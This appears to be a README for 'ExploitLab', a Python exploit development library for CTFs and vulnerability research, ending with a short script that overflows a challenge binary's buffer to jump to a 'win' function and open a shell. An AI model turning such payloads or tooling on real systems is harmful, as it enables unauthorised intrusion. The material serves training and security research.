A modern, lightweight, and robust exploit development library designed for vulnerability research, CTFs, and exploit engineering.
Built for speed and simplicity, bypassing the bloated features of other libraries while keeping the core functionality you need to pop shells.
- Tubes (
Process,Remote) — Seamless I/O communication with local binaries and remote network sockets. Includes non-blocking.interactive()shells. - ELF Analysis — Fast parsing of binary symbols, GOT/PLT addresses, and memory searching using
pyelftools. - Assembly & Shellcoding — On-the-fly assembly compilation using
keystone-engineand ready-to-use shellcode templates. - Memory Packing — Robust
p32,p64,u32,u64conversions. - Pattern Generation — De Bruijn cyclic pattern generators (
cyclic,cyclic_find) to instantly find buffer overflow offsets. - Context Management — Global architecture (
amd64,i386) and colored logging configuration.
pip install exploitlabHere is a quick example of how to use ExploitLab to solve a classic buffer overflow challenge:
from exploitlab import *
# 1. Set global context (Auto-adjusted if ELF is loaded)
context.arch = 'amd64'
# 2. Analyze the binary
e = ELF('./target_binary')
log.info(f"Target 'win' function is at: {hex(e.symbols['win'])}")
# 3. Start the process (or use Remote('10.10.10.10', 1337))
p = Process('./target_binary')
# 4. Craft the payload
offset = 40
payload = b"A" * offset
payload += p64(e.symbols['win']) # Convert address to bytes
# 5. Exploit!
p.recvuntil(b"Enter payload: ")
p.sendline(payload)
# 6. Enjoy your shell
p.interactive()